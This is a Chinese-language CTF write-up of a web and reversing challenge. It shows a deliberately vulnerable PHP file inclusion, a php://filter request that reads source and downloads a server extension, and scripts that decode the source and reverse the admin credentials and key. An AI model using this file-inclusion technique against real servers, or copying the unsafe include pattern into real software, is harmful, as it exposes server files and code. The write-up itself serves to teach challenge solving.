传送门:http://laohulaohuhu.cn:32771/ guest登录进去就看到一个很明显的文件包含点,filter读一下index.php那些文件出来解密居然是乱码的……..我佛辣……. 然后尝试一下读多几个文件出来,发现开头都是<@rkt,很像<?php,看一下字符的ascii码,发现第n个位置的字符的ascii码减去n-1就可以正常解密了,但是要注意一下不能超过128,给个脚本
1 2 3 4 5 6 7 8 9
import base64strs = "待解密字符" res = base64.b64decode(strs) str2 = "" i = 0 for c in res: str2 += chr(((ord(c) - i)%128 + 128 ) %128 ) i += 1 print(str2)
解密出来可以看到是如下文件,这里只放php的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
index.php <?php session_start(); define("enter" , 1 ); ini_set("error_reporting" , 0 ); if (preg_match("/sess_|php(\w)+/i" , $_GET['page' ])) { $_GET['page' ] = "login.php" ; } $page = isset ($_GET['page' ])? $_GET['page' ] : "login.php" ; include $page; home.php <?php if (enter !== 1 ) { header("location:index.php?page=home.php" ); }else if (!isset ($_SESSION['user' ])) { header("location:index.php?page=login.php" ); } ?> <?php if ($_SESSION['user' ] === 'Admin' ) { echo "<li class=\"nav-item active\"><form id=\"submit_key\" action=\"index.php?page=home.php\" method=\"post\" class=\"nav-link\"><input type=\"number\" name=\"key\" class=\"form-control\" placeholder=\"Submit Admin Key\" required autofocus></form></li><li class=\"form-inline my-2 my-md-0\"><button class=\"btn btn-lg btn-primary btn-block\" type=\"button\" onclick=\"document.getElementById('submit_key').submit();\">Submit key</button></li>" ; } ?> <?php if ($_SESSION['user' ] === 'Admin' && isset ($_POST['key' ])) { if (GWHT_CheckCrypto($_POST['key' ])) { echo "<span style='color: green'>Hey Admin! Your flag is: GWHT{" . $_SESSION['flag1' ] . $_POST['key' ] . "}</span>" ; }else { echo "<span style='color: red'>No! You are a fake Admin! I will not give my flag to me</span>" ; } }else if ($_SESSION['user' ] === 'Guest' ) { echo "<span style='color: red'>My flag is for Admin, not for Guest!</span>" ; } ?> login.php <?php if (enter !== 1 ) { header("location:index.php?page=login.php" ); }else { $info = "Please login in" ; if (isset ($_POST['user' ]) && isset ($_POST['pwd' ])) { if ($_POST['user' ] === 'Guest' && $_POST['pwd' ] === 'Guest' ) { $_SESSION['user' ] = 'Guest' ; header("location:index.php?page=home.php" ); }else { if (twings($_POST['user' ], $_POST['pwd' ])) { $_SESSION['user' ] = 'Admin' ; $_SESSION['flag1' ] = $_POST['pwd' ]; header("location:index.php?page=home.php" ); } $info = "<span style='color: red'>Login failed</span>" ; } } } ?>
可以看到关键的几句 可以看见flag是由flag1的session和传过来的key决定的,而flag1的session是由传过去的pwd决定的,但是没看到有什么继续包含的文件了,剩下的应该就是扩展的事了 读一下phpinfo,可以看到扩展的目录和扩展名,写个脚本把扩展文件下下来
1 2 3 4 5 6 7 8 9
import urllib2import base64u = urllib2.urlopen('http://laohulaohuhu.cn:32771/index.php?page=php://filter/read/convert.base64-encode/resource=/usr/lib/php/20151012/twings.so' ) localfile = open('twings.so' ,'wb' ) u = base64.b64decode(u.read()) localfile.write(u) localfile.close()
将下下来的扩展文件用ida打开,可以看到三个函数,emmm,与题目有关系的也是这三个函数 zif_twings前面一堆没看懂,但是后面的一堆check有点意思,可以看到那个if语句比对了user的值,然后再去比对pwd的值,大胆猜测,Admin_CheckBy-Twings就是管理员的用户名,后面的pwd比对将它改成赋值就可以获得pwd的值了 接下来是GWHT那个文件,关键点在encrypt函数,跟过去看一看 可以看到,这个函数是个布尔函数,只需要传一个值,然后进行比对,最后当v1和v3符合条件的时候返回true 函数分析完了,最后是re的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
#include <bits/stdc++.h> using namespace std ;int main () {int check[20 ];check[0 ] = 9 ; check[1 ] = 10 ; check[2 ] = 116 ; check[3 ] = 25 ; check[4 ] = 46 ; check[5 ] = 0 ; check[6 ] = 4 ; check[7 ] = 126 ; check[8 ] = 180 ; check[9 ] = 55 ; check[10 ] = 104 ; check[11 ] = 20 ; check[12 ] = 24 ; check[13 ] = 128 ; check[14 ] = 196 ; check[15 ] = 90 ; check[16 ] = 92 ; check[17 ] = 228 ; check[18 ] = 47 ; check[19 ] = 78 ; char user[40 ] = "Admin_CheckBy-Twings" ; char pwd[40 ]; printf ("user: %s\n" ,user); int i = 9 ; int v9 = 0 ; for (int j=0 ; j<20 ; j++){ int val = (user[v9] ^ (i >> (v9 - 3 * (((unsigned __int64)(1431655766L L * (signed int )v9) >> 32 ) - ((signed int )v9 >> 31 ))))); pwd[j] = char (val); v9++; i=check[v9]; } printf ("pwd: %s\n" ,pwd); unsigned long long v1,v3; long long v2; v1 = -4498904630171527645L L; v3 = -5341655318926559416L L; v2 = 38300879488L L; while (v2!=0 && v3!=71877284L L){ v3 -= (v2 + v1) ^ (16 * v1 + 72 ) ^ ((v1 >> 5 ) + 84 ); v1 -= (v2 + v3) ^ (16 * v3 + 71 ) ^ ((v3 >> 5 ) + 87 ); v2 -= 1196902484L L; } printf ("v1: %I64u\n" ,v1); printf ("v2: %I64d\n" ,v2); printf ("v3: %I64u\n" ,v3); return 0 ; }
脚本跑出来的结果 最后flag
评论